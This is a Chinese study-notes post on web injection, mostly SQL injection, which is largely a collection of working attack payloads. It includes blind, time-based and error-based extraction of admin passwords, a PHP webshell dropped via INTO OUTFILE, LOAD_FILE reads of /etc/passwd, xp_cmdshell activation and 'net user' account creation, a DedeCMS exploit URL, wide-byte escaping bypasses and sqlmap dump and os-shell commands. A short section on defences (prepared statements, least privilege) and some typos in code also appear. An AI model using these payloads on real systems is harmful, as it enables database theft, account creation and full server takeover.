web_inject学习

来源:互联网 发布:单片机微型打印机 编辑:程序博客网 时间:2024/06/03 15:05

学习笔记~~~~~~~~~~~~~~~~~~~~~~~~~

xss 实质上是针对html的注入攻击

注入攻击的本质,是把用户输入的数据当作代码执行。

关键条件:1用户能控制输入  2原本程序要执行的代码,拼接了用户输入数据


SQL 注入

简要介绍

SQL 结构化查询语言   学习网址点这里

SQL 注入是针对数据库的攻击,不同数据库有不同的功能,不同的语法和函数,SQL注入较强也有所不同

1998 年 第一个SQL注入

var shipcity;shipcity = Request.form("shipcity");var sql = "select * from OrderTable where shipcity = '" + shipcity + "'";

shipcity 由用户输入,那么输入 beijing;drop table xxx--  就执行了我们想要的代码

如果网站web 服务器开启了错误回显, 比如攻击者在参数输入 单引号 

返回错误信息  microsoft JET Database Engine 错误 xxx  则判断服务器用的  access 数据库

查询语句代码可能是 select xxx from table_x where id = $id


盲注 Blind Injection

web 服务器关闭了错误回显,攻击者研究出了 盲注

没有错误回显时完成的注入攻击,构造简单的条件语句,返回页面是否发生变化,来判断SQL语句是否得到执行

eg:   http://xxx.com/items.php?id=2

执行语句是  select title,description,body from items where id = 2

如果构造  http://xxx.com/items.php?id=2 and 1=2

那么执行     select title,description,body from items where id = 2 and 1=2  攻击者看到错误页面

然后接着     select title,description,body from items where id = 2 and 1=1  如果页面正常,则说明sql 语句的 and 成功执行, 判断 id 参数存在sql 注入


Timing Attack

在MySql 有一个 BENCHMARK 函数,测试函数性能的   BENCHMARK(count,expr) 将表达式 expr 执行count 次数

通过时间长短判断注入语句是否执行成功 是一种边信道攻击, 

union select if(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) from (select database() as current) as tbl;

PAYLOAD 判断库名的第一个字母是否为CHAR(119),即小写的w. 如果判断结果为真,则会通过 BENCHMARK() 函数造成较长延时;如果不为真,则该语句将很快执行完

select DATABASE();

select SYSTEM_USER();

select current_user();

select last_insert_id();

如果当前数据库用户 current_user 具有写权限,那么攻击者可以将信息写入本地磁盘中,比如写Web目录中。(如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。)

union all select table_name,table_type,engine from information_schema.tables where table_schema = 'mysql' order by table_name desc into outfile '/path/location/on/server/www/schema.txt'

通过dump 文件的方法,还可以写入一个webshell:

union select "<? system(($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

不同系统中的 Timing Attack:

Mysql                    BENCHMARK(1000000,md5(1)) or sleep(5)

PostgreSQL          PG_SLEEP(5) or  GENERATE_SERIES(1,1000000)

MS SQL Server    WAITFOR DELAY '0:0:5'

更多数据库的函数可以查看数据库软件的手册


数据库攻击技巧:

常见攻击技巧:

猜测数据库版本 

http://xxx.com/news.php?id=5 and substring(@@version,1,1)=4  mysql

确认表名admin 是否存在:

id=5 union all select 1,2,3 from admin

确认列名passwd是否存在

id=5 union all select 1,2,passwd from admin

进一步要猜解出username 和 passwd 具体的值

(limit 0,1 表示从行数限制显示,第一行开始,数量为1)

id=5 and ascii(substring(select concat(username,0x3a,passwd) from users limit 0,1),1,1)>64 //true

id=5 and ascii(substring(select concat(username,0x3a,passwd) from users limit 0,1),1,1)>65 //false

那么username:passwd 第一个字符是 A(65)
id=5 and ascii(substring(select concat(username,0x3a,passwd) from users limit 0,1),2,1)>65 //false

接着继续猜解~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

sqlmap 上场:  sqlmap -u "http://xxx/xxx.php?id=1" --dump -T users

就可以查询 表名为users 的列名 对应的值


读写文件的技巧

Mysql 中,LOAD_FILE读取系统文件,并通过INTO DUMPFILE 写入本地文件(当前数据库用户有权限)

union select 1,1, LOAD_FILE('/etc/passwd'),1,1;

如果要读出文件并返回结果给攻击者:

CREATE TABLE potatoes(line BLOB)union select 1,1,hex(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';LOAD DATA INFILE '/tmp/potatpes' INTO TABLE potatoes
最后通过一般的注入技巧直接操作表数据即可

DUMPFILE  适用于二进制文件 和 OUTFILE 适用于文本

命令执行

Mysql 中除了导出webshell 间接的执行命令外,还可以利用“用户自定义函数”的技巧,UDF来执行命令

UDF 不仅仅是Mysql 的特性,其他数据库也有类似的功能

create function f_name returns integer soname shared_library

sys_eval  执行任意命令,输出返回sys_exec 执行任意命令,并将退出码返回sys_get   获取一个环境变量sys_set  创建或者修改一个环境变量

lib_mysqludf_sys 被 sqlmap 集成了

sqlmap -u "http://xxx/xxx.php?id=1" --os-cmd id -v 1


MS SQL SERVER

可以直接使用 xp_cmdshell 执行系统命令


oracle 数据库如果还有 java 也可能命令执行

当SQL 注入后可以执行多语句的情况下,可以在Oracle中创建Java的存储过程执行系统命令


在建立数据库帐户时应该遵循 “最小权限原则”,尽量避免给WEB应用使用数据库的管理员权限

MS SQL SERVER 中存储过程 "xp_cmdshell"   :   

exec master.dbo.xp_cmdshell 'cmd.exe dir c:'

exec master.dbo.xp_cmdshell 'ping'

xp_cmdshell  sql 2000 默认开启, 2005及以后版本都禁止,
如果当前数据库用户有sysadmin权限,可以使用sp_configure 2005,2008 重新打开
如果在2000中禁止就用 sp_addextendedproc打开

开启xp_cmdshellEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;未能找到存储过程 'master..xp_cmdshell'第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int第二步执行:sp_addextendedproc 'xp_cmdshell','xpsql70.dll'


还有 xp_regread 可以操作注册表  等等函数


xp_servicecontrol 允许用户启动,停止服务 等等函数


Oracle 数据库中,存储过程非常多,很多存储过程都存在SQL注入问题


注入编码:

单引号,双引号等特殊字符,开发者为了安全,经常会使用转义字符 \ 来转义这些特殊字符

产生了意想不到的漏洞

php addslashes() 函数 会转义4个字符   单引号0x27    双引号0x22   \ (0x5c)  NULL 都会被转义

0xbf27 pr 1=1      被\转义了,0xbf5c 组成一个字符

0xbf5c27 or 1=1     被转义成了 縗' or 1=1

解决问题是  同意数据库,操作系统,WEB应用使用的字符集,以避免各层对字符的理解有差异,同意设置UTF-8是一个很好的方法


XSS 也会有这种机会被构造,那么解决方法是 <meta> 设置 charset 



SQL Column Truncation(列截断)

mysql 5.0 默认没开启

Mysql sql_mode 选项,设置为default 时,即没有开启 STRICT_ALL_TABLES 选项,

Mysql 对于用户插入的超长值只会提示warning 而不是error(插入不成功),可能会导致发生一些“截断”

sql-mode="STRUCT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE,_SUBSTITUTION"

当开启时  :

create table 'truncated_test'(   //创建我们的表

'id' int (11) NOT NULL auto_iincrement

'username' varchar(10) default NULL,

'password'  varchar(10) default NULL,

PRIMARY KEY  ('id')

)DEFAULT CHARSET=utf8;


select * from truncated_test;//查询有没有东西

show columns from truncated_test;//查询创建成功

insert into truncated_test('username','password') values("admin","pass");

//插入列username 为admin   插入列password 为 pass

insert into truncated_test('username','password') values("admin             ","new_pass");

提示插入失败 因为超过了限制长度


当关闭时

sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE,_SUBSTITUTION"

数据插入成功, 提示 warning


曾经的漏洞: wordpress 注册 admin(55个空格)x   的用户,就可以修改原管理员密码


正确防御SQL注入:

1)找到所有注入点,修补这些注入点

屏蔽空格:

select/**/passwd/**/from/**/user

select(passwd)from(user)


屏蔽括号,引号的例子:

select passwd from users where user=0x61646d696e    admin的十六进制

2) 防御SQL注入的最佳方式就是使用预编译语句,绑定变量

JAVA 中预编译的SQL 语句:

String custname = request.getParameter("customerName");String query = "select account_balance from user_data where user_name = ?";PreparedStatement pstmt = connection.prepareStatement(query);pstmt.setString(1,custname);ResultSet result = pstmt.executeQuery();
  使用预编译的SQL 语句,SQL语句的语义不会发生改变,变量用? 表示,即使攻击者构造

类似   tom ' or '1' = '1  的字符串 也只会将此字符串当作username 来查询


PHP 中绑定变量的实例,

$query = inset into mycity (name, countrycode,district) values (?,?,?)";

$stmt = $msqli->prepare($query);

$stmt->bind_param("sss",$var1,$var2,$var3);

$var1 = 'Stuttgart';

$var2 = 'DEU';

$var3 = 'Baden-Wuertteemberg';

$stmt->execute();


不同的语言都有着不同的预编译语句的方法

java ee ,.net ,php,hibernate,sqlite 

3)使用存储过程:

安全的哦存储过程对抗SQL 注入

存储过程需要先将SQL语句定义在数据库中。但需要注意,存储过程也可能会存在注入问题,因此避免在存储过程内使用动态SQL语句

如果无法避免,则应该使用严格的输入过滤或者编码函数来处理用户的输入数据。


callableStatement cs = connection.prepareCall("{call sp_hetAccountBalance(?)}");

cs.setString(1,custname)

4)检查数据类型:

<?php

settype($offset,'integer');

#query = "select id,name from products order by name limit 20 offset $offset;";


$query = sprintf("select id,name from products order by name limit 20 offset id;",$offset);

?>

5)使用安全函数:

参考OWASP ESAPI 中的实现。

ESPAPI.encoder().encodeForSQL(new OracleCodec(), queryparam);


Codec ORACLE_CODE = new OracleCodec();

String query = "select user_id from user_data where 

user_name = ' " +

   ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID"))+ " ' and 

user_password='"

+ ESPAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + "'";


使用最小权限,避免WEB应用直接使用ROOT,DBOWNER等高权限帐户直接连接数据库。


WEB应用的帐户不应该有创建自定义函数,操作本地文件的权限

6) XML注入

XML 和HTML 都是 SGML 标准通用标记语言

输入XML数据时,构造特殊数据,形成注入攻击

<?xml version="1.0" encoding="UTF-8"?><user role="guest_role"><name>user1</name><email>user1@a.com</email></user>
输入时构造成这样   红色部分是多余的部分

<?xml version="1.0" encoding="UTF-8"?>
<user role="guest_role">
<name>user1</name>
<email>user1@a.com</email>
</user>
<name>user2</name>>
<email>user2@a.com
</email>
</user>

7)代码注入:

出现代码注入漏洞的地方与“后门” 没有区别

$myvar = "varname"

$x = $_GET('arg');

eval("\$myvar = \$x;");


index.php?arg=1; phpinfo()

engine.eval("print(' " + argv[0] +" ')");

输入

hello'); var fImport = new JavaImport(java.io.File); with(fImport) {var f =new File('new'); f.createNewFile(); }  //

jsp 的动态 include 也能导致代码注入。 严格上说,PHP,JSP的动态include 文件包含漏洞 导致的代码执行,也算一种代码注入


<% String pageToInclude = getDataFromUntrustedSource(); %>

<jsp:include page = "<%=pageToIncode %>" />


多见于 脚本语言,有时候代码注入可以造成命令注入

<?php

$varerror = system('cat '.$_GET['pageid'], $valoretorno);

echo $varerror;

?>

xxx.php?pageid=loquesea;ls


c 语言注入例子:

command = "cat "+ argv[1]

system(command);

输入 story.txt;ls


PHP/JSP 中避免使用 include 远程文件,或者安全地处理它

8)CLRF 注入:

CR  Carriage Return  \r ascii 13 回车

LF  Line Feed ascii 10, \n 换行

\r\n 是用于bioassay换行 的 十六进制数为 0x0d  0x0a

CLRF 经常被用作不同语义之间的分隔符。因此通过“注入CRLF字符”,就有可能改变原有的语义


下面代码将登陆失败的用户名写入日志文件中:

def log_failed_login(username)

log = open("access.log",'a')

log.write("user login failed for: %s\n" % username)

log.close()

输入 guest\nuser login success for: admin

结果就变成:

user login failed for:  guest

user login success for:  admin


并非仅能用于LOG注入,使用CRLF 作为分隔符的地方都有可能存在这种注入, “注入HTTP头”

HTTP 协议中就是通过 "\r\n" 来分隔的。如果服务器端没有过滤 \r\n 而又把用户输入的数据放在HTTP头中,

则有可能导致安全隐患, 这种HTTP头的注入 ,又可以称为 Http Response Splitting


<form id="x"

action="http://xxx.do?email=a%0d%0a%0d%0a<script>alert(/xss/);</script>" method="post">


两次 \r\n 意味着 HTTP头 的结束

合理的处理  它们就行了~~~~~~~~~~~~~~~~~~~~~~~


网上搜罗学习:

1)  插入经典

INSERT INTO tao_comment (article_id,name,emails,content,ips,times) 

VALUES('26','we','ok@ok.com','we','1','1'),

('1’,'1',’1’, (SELECT concat( name, 0x2f, passwd ) FROM tao_admin LIMIT 1), '1','1')


2) ?id=762

 ?id=762 order by 20正确

 ?id=762 order by 21 错误 说明有20个字段

接下来union联合查询: 看到有很多数字出现在网页上

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin

然后进行猜 admin 有多少个字段/列 

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin 错误

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确 那么有4个字段

 ?id=764 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id=b.id)
//两倍显示  4 *2 = 8

 ?id=764 UNION SELECT 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
//三倍显示  4*3 = 12

 ?id=762 union select 1,admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin  //测试字段 admin 看出列 admin 的值

3)

?id=211+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+admin

?id=211+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+adminuser

?id=211+and+1=2+union+select+1,2,3,4,5,6,7,*+from+adminuser //正确

13 - 7 = 6  

?id=211+and+1=2+union+select+1+*+from+((admin+as+a+inner+join+admin+as+b+on+a.id=b.id)+inner+join+admin+as+c+on+a.id+c.id)


4) 

sqlmap  跑出了hash , Cain&Abel、John&Ripper等工具将密码hash破解为明文


?id=1&Submit=Submit –cookie=”PHPSESSID=xxxxxx;security=low” -b –current-db –current-user

在渗透过程中维持连接状态   -b : 获取DBMS banner      –current-db : 获取当前数据库     –current-user:获取当前用户

–dbs: 枚举DBMS中的数据库, -D : 要枚举的DBMS数据库   ,尝试枚举DVWA数据表,–tables     : 枚举DBMS数据库中的数据表

?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

枚举 表users 的列/字段

?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users -C user,password --dump”


5)

?id=-8 union select 1,2,@@version,4,5 --

?id=-8 union select 1,2,group_concat(information_schema.tables.table_name),4,5 from information_schema.tables where information_schema.tables.table_schema=database()-- 

//字符集不同。不同的字符集连接时会出错

?id=-8 union select 1,2,group_concat(convert(information_schema.tables.table_name using latin1)),4,5 from information_schema.tables where information_schema.tables.table_schema=database()--


6) 搜索框

%' and 1=1 and '%'='  正确

%' and 1=2 and '%'='  错误 存在注入


比赛%' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '%'='

将nvarchar值’XXX’转换为数据类型为int的列时发生语法错误。XXX正是我们需要知道的值

第一个表段爆出来了sys_UserInfo。top 1就是爆出第一个表段

比赛%' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('sys_UserInfo' ))) and '%'='

限制表名不为sys_UserInfo,然后取回第一个表段,其实现在就是库中的第二个表段 Article

比赛%' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('sys_UserInfo' ,'Article' ))) and '%'='


7) 

xw_show.asp?xw_id=69

xw_show.asp?s=1%00.&xw_id=69


sqlmap -u --os-shell 得到shell


8)dedecms即织梦(PHP开源网站内容管理系统)。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'  or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select  CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type] [type]=application/octet-stream&_FILES[type][size]=111


9)

LN 写的~~~~~  mysql

0x00 mysql一般注入(select)1.注释符#/*--2.过滤空格注入使用/**/或()或+代替空格%0c = form feed, new page%09 = horizontal tab%0d = carriage return%0a = line feed, new line3.多条数据显示concat()group_concat()concat_ws()4.相关函数system_user() 系统用户名user() 用户名current_user 当前用户名session_user()连接数据库的用户名database() 数据库名version() MYSQL数据库版本load_file() MYSQL读取本地文件的函数@@datadir 读取数据库路径@@basedir MYSQL 安装路径@@version_compile_os 操作系统 Windows Server 2003GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;5.mysql一般注入语句猜字段数order by n/*查看mysql基本信息and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*查询数据库and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*查询表名and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*查询字段and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*查询数据and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*判断是否具有读写权限and (select count(*) from mysql.user)>0/*and (select count(file_priv) from mysql.user)>0/*6.mysql读取写入文件必备条件:读:file权限必备写:1.绝对路径 2.union使用 3. 可以使用''  -------------------------读----------------------                     mysql3.x读取方法create table a(cmd text);load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;select * from a;mysql4.x读取方法除上述方法还可以使用load_file()create table a(cmd text);insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));select * from a;mysql5.x读取方法上述两种都可以读取文件技巧:load_file(char(32,26,56,66))load_file(0x633A5C626F6F742E696E69)------------写--------------------------into outfile写文件union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*0x01 mysql一般注入(insert、update)mysql一般请求mysql_query不支持多语句执行,mysqli可以。 insert注入多使用报错注入!1.如果可以直接插入管理员可以直接使用!insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshellupdate注入同上0x02 mysql报错注入1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,12. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b))); 0x03 mysql一般盲注使用asciiAND ascii(substring((SELECT password FROM users where id=1),1,1))=49使用正则表达式and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)0x04 mysql时间盲注1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tblUNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’0x06 mysql数据库版本特性1. mysql5.0以后  information.schema库出现2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下3.mysql5.x以后 system执行命令

10)  PHP信息

获取系统类型及版本号:    php_uname()                                   (例:Windows NT COMPUTER 5.1 build 2600)只获取系统类型:          php_uname('s')                                (或:PHP_OS,例:Windows NT)只获取系统版本号:        php_uname('r')                                (例:5.1)获取PHP运行方式:         php_sapi_name()                               (PHP run mode:apache2handler)获取前进程用户名:        Get_Current_User()获取PHP版本:             PHP_VERSION获取Zend版本:            Zend_Version()获取PHP安装路径:         DEFAULT_INCLUDE_PATH获取当前文件绝对路径:    __FILE__获取Http请求中Host值:    $_SERVER["HTTP_HOST"]                         (返回值为域名或IP)获取服务器IP:            GetHostByName($_SERVER['SERVER_NAME'])接受请求的服务器IP:      $_SERVER["SERVER_ADDR"]                       (有时候获取不到,推荐用:GetHostByName($_SERVER['SERVER_NAME']))获取客户端IP:            $_SERVER['REMOTE_ADDR']获取服务器解译引擎:      $_SERVER['SERVER_SOFTWARE']获取服务器CPU数量:       $_SERVER['PROCESSOR_IDENTIFIER']获取服务器系统目录:      $_SERVER['SystemRoot']获取服务器域名:          $_SERVER['SERVER_NAME']                       (建议使用:$_SERVER["HTTP_HOST"])获取用户域名:            $_SERVER['USERDOMAIN']获取服务器语言:          $_SERVER['HTTP_ACCEPT_LANGUAGE']获取服务器Web端口:       $_SERVER['SERVER_PORT']


mysql 的一些信息:

@@have_openssl 如果mysqld支持客户端/服务器协议的SSL(加密)则为YES@@version_compile_os 判断系统类型@@max_allowed_packet 包或任何生成的/中间字符串的最大大小@@max_user_connections MySQL账户允许的最大同时连接数,0表示没限制@@skip_networking 如果服务器只允许本地(非TCP/IP)连接,该值为ON@@table_type 默认表类型(存储引擎)@@basedir MySQL安装基准目录@@character_set_database 默认数据库使用的字符集@@datadir 数据库存储的地方@@expire_logs_days 二进制日志自动删除的天数,默认是0,表示"没有自动删除"@@group_concat_max_len 允许group_concat()函数结果的最大长度@@log_error 错误日志的位置@@lower_case_file_system 该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.ON说明对文件名的大小写不敏感,OFF表示敏感@@lower_case_table_names 如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.如果设置为2,按照指定的保存表名,但按照小写来比较@@plugin_dir 插件目录的路径@@tmpdir 保存临时文件和临时表的目录@@tmp_table_size 如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表@@sql_mode 当前服务器的sql模式@@tx_isolation 默认事务隔离级别。默认值为REPEATABLE-READ@@Connections 连接mysql数据库服务器的次数(不管成功还是失败)@@max_write_lock_count 最大写锁数量@@old_passwords 是否启用mysql323加密方式(就是mysql用户密码的hash是16位的)@@Uptime 服务器已经运行的时间





11) 

SELECT * FROM news WHERE tid='{$id}'
使用了一个addslashes函数,将$id的值转义
php?id=1%df%df%27 正常
因为%df%df是一个汉字,%5c%27不是汉字,仍然是\’


mysql判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了
php?id=-1%aa%27 异常
php?id=-1%aa%27union select 1,2,concat(name,0x23,pss) from admin


使用了一个mysql_real_escape_string函数,将$id的值转义
php?id=-1%aa%27 异常  还是可以注入


12)burpsuite  截包 复制为txt 

把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
运行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,
这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。


13) 

round() 遵循四舍五入把原值转化为指定小数位数,如:round(1.45,0) = 1;round(1.55,0)=2
floor(搜索)向下舍入为指定小数位数 如:floor(1.45,0)= 1;floor(1.55,0) = 1
ceiling()向上舍入为指定小数位数 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2

方法1的数字范围:0至N-1之间,如cast( floor(rand()*100) as int)就会生成0至99之间任一整数
方法2的数字范围:1至N之间,如cast(ceiling(rand() * 100) as int)就会生成1至100之间任一整数

mysql ,floor,ExtractValue,UpdateXml三种报错模式通过floor报错mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’爆出了Mysql的版本查询管理员用户名和密码:Method1:mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’Method2:mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’2、ExtractValue测试语句如下and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));实际测试过程mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–ERROR 1105 (HY000): XPATH syntax error: ’\admin888′3、UpdateXml测试语句and 1=(updatexml(1,concat(0x3a,(select user())),1))实际测试过程mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

14) 

php?id=4   在其后添加'and1=2'后页面报错


15)

asp?id=1;EXEC('ma'%2b'ster..x'%2b'p_cm'%2b'dsh'%2b'ell''net user x x /add''')--

xxx.com/login.asp?id=1';EXEC master..xp_cmdshell '1.exe'--

com/login.asp?id=1';EXEC('ma'%2b'ster..x'%2b'p_cm'%2b'dsh'%2b'ell''net user x x /add''')--


16)  burpsuite    进行 注入时,在 raw 上修改 GET 等时  比如 id=1 and 1=1 必须使用 URL encode 才能成功

选中 需要编码的字符    convert selection  ->  URL  -> URL -encode key character  Ctrl-U

                                                                                  最后变成    id=1+and+1%3d1

或者可以在 params 中直接修改

 发送两次 到 comparer  对比~~~~~~增加的东西可以作为关键字 成功才有关键字!!!

order by  检查长度 用 intruder  nubers  0到100  检 查   快的多     可以用到上面的关键字   在 options  grep  这个关键字 

攻击后 看到 有多少字段~~~~~~


用 firefox 的  hackerbar   SQL 可以构造 union 字串~~~~~ 比如构造union select 1,2,3,```直到30 方便点


还有就是测试 一些变量 比如 version(),user(),   是多少时,  选择字典后  options   grep   extract  设置正则 不用输入 直接选中要显示的地方即可

burpsuite 里  decoder  可以转换  数据库名称为 16进制编码~~~~~

select 1,2,3,table_name,``` from information_schema.tables where table_schema=数据库16进制 linmit 1,1

这时候又可以  intruder  ~~~~~~~~~~~~~~~





















0 0